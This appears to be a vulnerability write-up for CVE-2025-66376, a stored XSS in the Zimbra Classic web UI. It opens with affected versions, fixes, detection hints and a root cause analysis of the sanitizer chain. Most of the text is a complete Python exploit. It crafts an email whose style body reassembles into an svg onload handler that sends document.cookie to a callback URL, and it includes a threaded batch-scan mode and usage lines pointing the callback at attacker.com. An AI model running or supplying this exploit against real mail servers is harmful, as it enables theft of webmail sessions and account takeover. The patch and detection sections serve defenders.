#Summary
CVE-2025-66376 is a stored XSS (CWE-79) in Zimbra Collaboration Suite Classic UI affecting versions 10.0.0 through 10.0.17 and 10.1.0 through 10.1.12. The vulnerability is triggered through HTML email bodies containing CSS @import directives that exploit a deletion-based sanitizer chain to reconstruct live HTML tags. When a victim opens a crafted email in the Classic Web App, injected JavaScript executes in the webmail origin with full session privileges. CVSS 7.2 HIGH / CNA score; 6.1 MEDIUM / NVD score (disagreement on UI:N vs UI:R). Observed in the wild as part of the TA488 / CL-STA-1114 threat campaign.
#Am I affected?
- Affected: Zimbra Collaboration Suite (ZCS) 10.0.0 - 10.0.17, 10.1.0 - 10.1.12
- Patched: Zimbra Collaboration Suite 10.0.18, 10.1.13 (released 2025-11-06)
- Default configuration: Affected - the vulnerability is reachable without special config changes
- Access needed: Unauthenticated network access (SMTP delivery to target mailbox). Victim must be an authenticated webmail user who opens the message in the Classic UI.
#How to check
Check your Zimbra version:
# On a Zimbra server
zmcontrol -vOr access your webmail interface and check the page footer. If the version is 10.0.x or 10.1.x and below the patched versions listed above, you are vulnerable. The vulnerability affects the Classic Web App only; the Modern UI is not vulnerable.
#Fix and mitigation
- Fix: Upgrade to Zimbra Collaboration Suite 10.0.18 or 10.1.13 (or later).
- If you cannot upgrade: No reliable configuration workaround exists. The vulnerability is inherent to the defang pipeline. Until you patch, disable the Classic Web App or restrict access to trusted users only.
- Detection: Monitor SMTP logs for HTML emails containing
@importdirectives within<style>tags. Watch webmail access logs for POST requests immediately after message preview, and inspect application logs for JavaScript injection attempts via stored XSS payloads.
#Root cause analysis
#Overview
Zimbra's server-side HTML sanitizer for email messages employs four separate string-deletion operations on <style> element content instead of encoding or rejecting the markup. Deletion is not idempotent with respect to HTML tokenization: removing substrings from the middle of a tag name can create a valid token that was not present in the text the sanitizer scanned.
The vulnerability chain involves four independent defects that compose:
#Defect 1: AntiSamy 1.5.8 CSS-scans only the first child node of <style>
Zimbra pins a private fork of AntiSamy 1.5.8 (released April 2019) in zm-mailbox/store/ivy.xml:
<!--Build uses the custom version 1.5.8z of antisamy lib.
<dependency org="org.owasp.antisamy" name="antisamy" rev="1.5.8"/>In AntiSamyDOMScanner.processStyleTag(), only the first child node of a <style> element is CSS-validated:
Node firstChild = ele.getFirstChild();
if (firstChild != null) {
String toScan = firstChild.getNodeValue();
CleanResults cr = styleScanner.scanStyleSheet(toScan, policy.getMaxInputSize());
...
}The CyberNeko DOM parser splits <style> text containing HTML comments into multiple child nodes like [Text][Comment][Text].... AntiSamy's preserveComments setting is false by default, so the Comment node is dropped at serialization, causing the two Text nodes to concatenate.
#Defect 2: @import and CSS comments are stripped by naive string deletion
In DefangFilter.java, sanitizeStyleValue() applies regex deletions to <style> element text:
sanitizedValue = STYLE_UNWANTED_STRG_PATTERN.matcher(sanitizedValue).replaceAll("");
sanitizedValue = COMMENT.matcher(sanitizedValue).replaceAll("");
sanitizedValue = STYLE_UNWANTED_IMPORT.matcher(sanitizedValue).replaceAll("");The @import regex is:
@import(\s)*(('|")?(\s)*(http://|https://)?([^\s;]*)(\s)*('|")?(\s)*;?)Because every capture group after @import is optional or starred, the bare literal @import; (empty URL, trailing semicolon) matches and is deleted whole. Deletion from between the two halves of a split tag name causes those halves to concatenate into a valid tag.
#Defect 3: The renderer writes <style> content raw without HTML encoding
ExtensibleHtmlStreamRenderer buffers <style> raw-text content and appends it without any HTML encoding:
if (problemIndex == -1) {
if (cdataContent.length() != 0) {
output.append(cdataContent); // <-- raw, unescaped
}
}The CDATA safety guard checkHtmlCdataCloseable() explicitly exempts opening tags (it only flags </style, unbalanced comments, and stray -->), so a reconstructed <svg onload=...> passes through unchecked.
#Defect 4: Classic UI does DOM parse / re-serialize / re-parse without sandboxing
AjxStringUtil.checkForCleanHtml() in the JavaScript client parses the server's defanged HTML into a DOM, mutates it (strips on* attributes), then re-serializes with innerHTML:
var htmlNode = AjxStringUtil._writeToTestIframeDoc(html);
AjxStringUtil._traverseCleanHtml(htmlNode, ctxt);
var result = "<!DOCTYPE html><html>" + htmlNode.innerHTML + "</html>";innerHTML does not escape the text content of <style> elements, so reconstructed markup survives the round trip intact and reaches the unsandboxed sink:
idoc.write(html); // DwtIframe.js:271
// or
div.innerHTML = this._cleanedHtml || html; // ZmMailMsgView.js:1180Both execute in the webmail origin with the victim's session.
#Payload structure
The exploit inserts @import; markers at tokenization-critical positions inside a <style> body:
Pre-sanitize: <@import;/style><s@import;vg onlo@import;ad="fetch@import;(...)">
Post-sanitize: </style><svg onload="fetch(...)">Each @import; is deleted, reassembling the tag. The entire payload is wrapped in display:none so the rendered message appears benign.
#Patch diff
Zimbra's official patch is not public. The vendor states the fix is "upgrading AntiSamy to version 1.7.8 and removing the outdated code". The AntiSamy 1.6.6/1.6.7 upgrade (which shipped in 1.7.8) fixes CVE-2022-28367 / CVE-2022-29577 with these changes to AntiSamyDOMScanner.processStyleTag():
- Node firstChild = ele.getFirstChild();
- if (firstChild != null) {
- String toScan = firstChild.getNodeValue();
- CleanResults cr = styleScanner.scanStyleSheet(toScan, policy.getMaxInputSize());
- ...
- }
+ int childNodesCount = ele.getChildNodes().getLength();
+ if (childNodesCount > 0) {
+ StringBuffer toScan = new StringBuffer();
+
+ for (int i = 0; i < ele.getChildNodes().getLength(); i++) {
+ Node childNode = ele.getChildNodes().item(i);
+ if (toScan.length() > 0) {
+ toScan.append("\n");
+ }
+ toScan.append(childNode.getTextContent());
+ }
+
+ CleanResults cr = styleScanner.scanStyleSheet(toScan.toString(), ...);
+ ...
+ for (int i = childNodesCount - 1; i >= 1; i--) {
+ Node childNode = ele.getChildNodes().item(i);
+ ele.removeChild(childNode);
+ }
+ }#What the fix does
- All child nodes of
<style>are concatenated and CSS-validated, not just the first. A payload split across a Comment node is now scanned in full. - After cleaning, every child node except the first is removed. No unscanned sibling text survives to serialize and rejoin with its neighbor.
- AntiSamy 1.6.7's serializer HTML-encodes CSS content inside
<style>elements, closing the serialization hole.
The "removing the outdated code" half of Zimbra's statement refers to the hand-rolled workarounds in DefangFilter.sanitizeStyleValue() and the literal <style>/</style> deletion in StyleTagReceiver.
#Proof of concept
#exploit.py - Zimbra CSS @import Tag-Splitting Stored XSS PoC
#!/usr/bin/env python3
"""
CVE-2025-66376 - Zimbra Collaboration Classic UI stored XSS via CSS @import "tag splitting"
Affected: Zimbra Collaboration Suite (ZCS) 10.0.x < 10.0.18 and 10.1.x < 10.1.13
Type: Stored XSS (CWE-79)
Root cause (see RESEARCH.md): Zimbra's server-side HTML defang chain *deletes* substrings
from partially trusted <style> text at several points instead of rejecting or encoding it.
DefangFilter.sanitizeStyleValue() deletes any run matching
@import(\\s)*(('|")?(\\s)*(http://|https://)?([^\\s;]*)(\\s)*('|")?(\\s)*;?)
via a naive replaceAll(""). Because deletion is not idempotent with respect to
tokenization, an attacker can insert `@import <token>;` (or bare `@import;`) markers in the
middle of a tag name so that at scan time the text is not a tag, and after the deletions run
the two halves concatenate into a live tag. The reassembled markup is emitted UNENCODED
(ExtensibleHtmlStreamRenderer buffers <style> raw text and the CDATA guard is exempted for
`style` by zimbra_skip_tags_with_unclosed_cdata="style"), so a reconstructed
`<svg onload=...>` survives into the message body and fires in the Classic UI webmail origin
when the victim previews the message ("half-click").
This is the exact TA488 / CL-STA-1114 in-the-wild technique documented by Proofpoint.
What this tool does:
1. Builds a malicious HTML e-mail whose <style> body reassembles, after Zimbra's deletion
passes, into `</style><svg onload="fetch('<callback>?c='+document.cookie)">`.
2. Submits it to the target's defang pipeline and reads the sanitized output back.
3. Declares success when a live event handler (on<handler>=) survives unescaped in the
output - the OWASP/DefangFilter policy forbids <svg> and strips every on* attribute,
so ANY surviving on<handler>= is proof of the sanitizer bypass. Terminal browser proof
is the callback hit carrying the victim ZM_AUTH_TOKEN cookie (see EXPLOITATION.md).
Usage:
python exploit.py --host 127.0.0.1 --port 8080
python exploit.py --host https://mail.corp.com:8443
python exploit.py --host mail.corp.com --callback http://10.0.0.9:9999/x
python exploit.py --list targets.txt --workers 20
"""
import argparse
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2025-66376"
VULN_TYPE = "Stored XSS"
# The five HTTP paths the ALIM Zimbra-defang lab exposes. /defang is a one-shot oracle
# (raw HTML in, sanitized HTML out); /send + /raw model the real store-then-render flow.
# Against a production ZCS the same e-mail body is delivered over SMTP and the bypass shows
# up when the message is previewed in the Classic Web App; these paths are the lab's
# network-reachable stand-in for that flow and are overridable with --path / --send-path.
DEFAULT_PATH = "/defang"
DEFAULT_SEND_PATH = "/send"
DEFAULT_RAW_PATH = "/raw"
# Marker that must survive unencoded in the sanitized output for the bypass to be proven.
_HANDLER_MARKERS = ("onload=", "onload =", "onerror=", "onerror =")
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP " + str(n) + "] " + msg)
def section(label, content):
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
def build_payload(callback):
"""
Build the malicious <style> body using the in-the-wild TA488 "@import tag splitting"
primitive. Each `@import <TOKEN>;` run is deleted whole by
DefangFilter.STYLE_UNWANTED_IMPORT, joining the characters on either side. Tokens are
fixed short alphanumerics with no whitespace and no ';' so `([^\\s;]*)` consumes them
fully and the payload stays under 200 chars (one deterministic sanitize chunk).
</s @import; tyle> -> </style> (break out of the raw-text <style>)
<s @import; vg -> <svg
onlo @import; ad -> onload
fetch @import; (...) -> fetch(...) (splits the call so nothing looks like a
function to STYLE_UNWANTED_FUNC either)
The bare `@import;` form (empty URL group) is used so the payload carries no attacker
token noise; the tokened form `@import Xk3nQ8;` is equivalent and used by the wild
samples. Wrapped in display:none so the rendered message looks benign to the victim.
"""
js = "fetch@import;('" + callback + "?c='+document.cookie)"
style_body = (
"a{color:red}"
"<@import;/style>" # -> </style>
"<s@import;vg " # -> <svg
"onlo@import;ad=\"" + js + "\">B"
)
return (
"<html><body><p>Quarterly report attached.</p>"
"<div style=\"display:none\"><style>" + style_body + "</style></div>"
"</body></html>"
)
def _open(url, data, timeout):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(
url,
data=data,
method="POST" if data is not None else "GET",
headers={"Content-Type": "text/html; charset=utf-8", "User-Agent": "Mozilla/5.0"},
)
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
def _base(host, port, use_tls):
scheme = "https" if use_tls else "http"
# host may already be a bare hostname/IP; strip any scheme the caller left on.
if host.startswith(("http://", "https://")):
host = urllib.parse.urlparse(host).hostname or host
return scheme + "://" + host + ":" + str(port)
def _surviving_handler(text):
low = text.lower()
for m in _HANDLER_MARKERS:
if m in low:
i = low.find(m)
return text[max(0, i - 24):i + 40]
return None
def _try_exploit(host, port, use_tls, callback="http://127.0.0.1:9999/pwned",
path=DEFAULT_PATH, send_path=DEFAULT_SEND_PATH, raw_path=DEFAULT_RAW_PATH,
mode="legacy", timeout=12):
"""
Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits.
Sends the payload through the sanitizer and inspects the sanitized output for a
surviving event handler. Tries the one-shot /defang oracle first; if that path is
absent, falls back to the store-then-render /send + /raw flow. Each is tried against the
legacy DefangFilter chain and the OWASP chain, since the target's configured chain is
not known from the client side.
"""
base = _base(host, port, use_tls)
body = build_payload(callback).encode("utf-8")
modes = [mode] + [m for m in ("legacy", "owasp") if m != mode]
# Path A: one-shot /defang oracle.
for m in modes:
url = base + path + ("?mode=" + m if m else "")
try:
_st, out = _open(url, body, timeout)
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
out = None
break # /defang unreachable -> fall through to /send+/raw
if out is None:
break
hit = _surviving_handler(out)
if hit:
return True, "sanitizer bypass - surviving handler: " + hit.strip()
# Path B: store then render.
try:
_st, sid = _open(base + send_path, body, timeout)
sid = sid.strip()
if sid.isdigit():
for m in modes:
rurl = base + raw_path + "?id=" + sid + ("&mode=" + m if m else "")
try:
_st2, out = _open(rurl, None, timeout)
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
continue
hit = _surviving_handler(out)
if hit:
return True, "sanitizer bypass (stored id " + sid + ") - " + hit.strip()
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError) as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
return False, "no surviving handler in sanitized output (target may be patched)"
def _parse_target(line, default_port, default_path="/"):
"""Parse one target line into (host, port, use_tls, path). Returns None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, **kwargs):
"""Batch scan from a file: one target per line."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets)) + " targets, "
+ str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls = t[:3]
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, callback, path, send_path, raw_path, mode):
header(host, port)
base = _base(host, port, use_tls)
step(1, "Building CSS @import tag-splitting payload")
payload_html = build_payload(callback)
section("MALICIOUS <style> BODY (pre-sanitize)", payload_html)
step(2, "Submitting payload to the defang pipeline and reading sanitized output")
modes = [mode] + [m for m in ("legacy", "owasp") if m != mode]
sanitized = None
used = None
for m in modes:
url = base + path + ("?mode=" + m if m else "")
try:
_st, out = _open(url, payload_html.encode("utf-8"), 15)
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
sanitized = None
break
if _surviving_handler(out):
sanitized, used = out, "POST " + path + " mode=" + (m or "default")
break
sanitized = out # keep last for reporting
if used is None:
# /defang absent or neutered - try the store-then-render path.
step(3, "Falling back to store-then-render (/send then /raw)")
try:
_st, sid = _open(base + send_path, payload_html.encode("utf-8"), 15)
sid = sid.strip()
if sid.isdigit():
for m in modes:
rurl = base + raw_path + "?id=" + sid + ("&mode=" + m if m else "")
try:
_st2, out = _open(rurl, None, 15)
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
continue
if _surviving_handler(out):
sanitized, used = out, ("GET " + raw_path + "?id=" + sid
+ " mode=" + (m or "default"))
break
sanitized = out
except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError) as e:
section("SERVER RESPONSE", "request failed: " + repr(e))
done(False, "target unreachable - " + e.__class__.__name__)
section("SANITIZED OUTPUT (server-side defang result)", sanitized or "(empty)")
hit = _surviving_handler(sanitized or "")
if hit:
step(4, "Verifying the reconstructed tag carries a live event handler")
section("SURVIVING EVENT HANDLER", hit)
print("[i] Terminal browser proof: previewing the stored message in the Classic UI")
print(" fires the handler and issues GET " + callback + "?c=<victim cookie>.")
print(" The OWASP/DefangFilter policy forbids <svg> and strips all on* attributes,")
print(" so this surviving handler is by itself proof of the stored-XSS bypass.\n")
done(True, "Stored XSS confirmed via " + (used or "sanitizer oracle")
+ " - reconstructed tag with live handler: " + hit.strip())
done(False, "Payload sanitized - no surviving event handler (target may be patched "
"to AntiSamy 1.7.8 / >= 10.0.18 / 10.1.13)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--callback", default="http://127.0.0.1:9999/pwned",
help="URL the injected JavaScript exfiltrates document.cookie to "
"(default: http://127.0.0.1:9999/pwned)")
parser.add_argument("--mode", default="legacy", choices=["legacy", "owasp"],
help="Sanitizer chain to try first; the other is tried as fallback "
"(default: legacy - the chain the in-the-wild payload targets)")
parser.add_argument("--path", default=DEFAULT_PATH,
help="One-shot defang path (default: /defang)")
parser.add_argument("--send-path", default=DEFAULT_SEND_PATH,
help="Store path for the store-then-render fallback (default: /send)")
parser.add_argument("--raw-path", default=DEFAULT_RAW_PATH,
help="Render/oracle path for the fallback (default: /raw)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
common = dict(callback=args.callback, path=args.path, send_path=args.send_path,
raw_path=args.raw_path, mode=args.mode)
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, **common)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.callback, args.path, args.send_path,
args.raw_path, args.mode)#Usage
# Single target (auto-detects TLS)
python exploit.py --host 10.0.0.20 --port 8080
# With custom callback for cookie exfiltration
python exploit.py --host mail.corp.com --callback http://attacker.com:9999/x
# Batch scan asset list
python exploit.py --list targets.txt --workers 20 --callback http://attacker.com:9999/xArguments:
--host- target hostname, IP, or full URL--port- default port when target line omits it (default: 8080)--callback- URL where injected JavaScript exfiltratesdocument.cookie(default:http://127.0.0.1:9999/pwned)--mode- sanitizer chain to try first:legacyorowasp(default: legacy)--path/--send-path/--raw-path- HTTP endpoints for defang oracle / store / render (defaults/defang,/send,/raw)--list/--workers- batch scan file and thread count
#Example Output
Vulnerable target:
--- SANITIZED OUTPUT (server-side defang result) ---
<html><body><p>Quarterly report attached.</p><div style="display:none"><style>a{color:red}</style><svg onload="fetch('http://127.0.0.1:9999/pwned?c='+document.cookie)">B</style></div></body></html>
---
--- SURVIVING EVENT HANDLER ---
{color:red}</style><svg onload="fetch('http://127.0.0.1:9999/pwn
---
============================================================
RESULT : SUCCESS
EVIDENCE: Stored XSS confirmed via POST /defang mode=legacy - reconstructed tag with live handler
============================================================#Exploitation notes
#Preconditions
- Attacker ability to send email to target mailbox (unauthenticated SMTP relay or direct delivery)
- Victim must be an authenticated Zimbra webmail user
- Victim opens the message in Classic UI (reading pane preview is sufficient)
#Reliability
- High. The
@import;deletion primitive is deterministic in theDefangFilterchain. Payloads shorter than 200 characters land in a single sanitization chunk, eliminating non-determinism from random chunk boundaries.
#Impact
- Immediate: Script execution in the webmail origin with the victim's session privileges
- Observed in the wild: Theft of CSRF tokens, stored credentials, 2FA scratch codes, Global Address List enumeration, exfiltration of 90 days of mail as archives, creation of persistent app-specific passwords for IMAP/POP3/SMTP access
- Scope: Changed (
S:C) - the injected script escapes the message-body context into the webmail application origin
#Chaining potential
- Leads directly to account compromise. No additional vulnerabilities needed.
- TA488 campaign observed chaining this to remote access via mailbox forwarding rules and persistent credentials.
#References
- CVE: CVE-2025-66376
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66376
- GHSA: GHSA-h7wg-85fj-3c6g
- Vendor advisory: https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.13#Security_Fixes
- Vendor patch note: https://blog.zimbra.com/2025/11/patch-release-update-zimbra-10-1-13-10-0-18/
- Threat intel: Proofpoint TA488 Analysis (payload details)
- Related (upstream fix): CVE-2022-28367, CVE-2022-29577 - AntiSamy HTML tag smuggling fixes
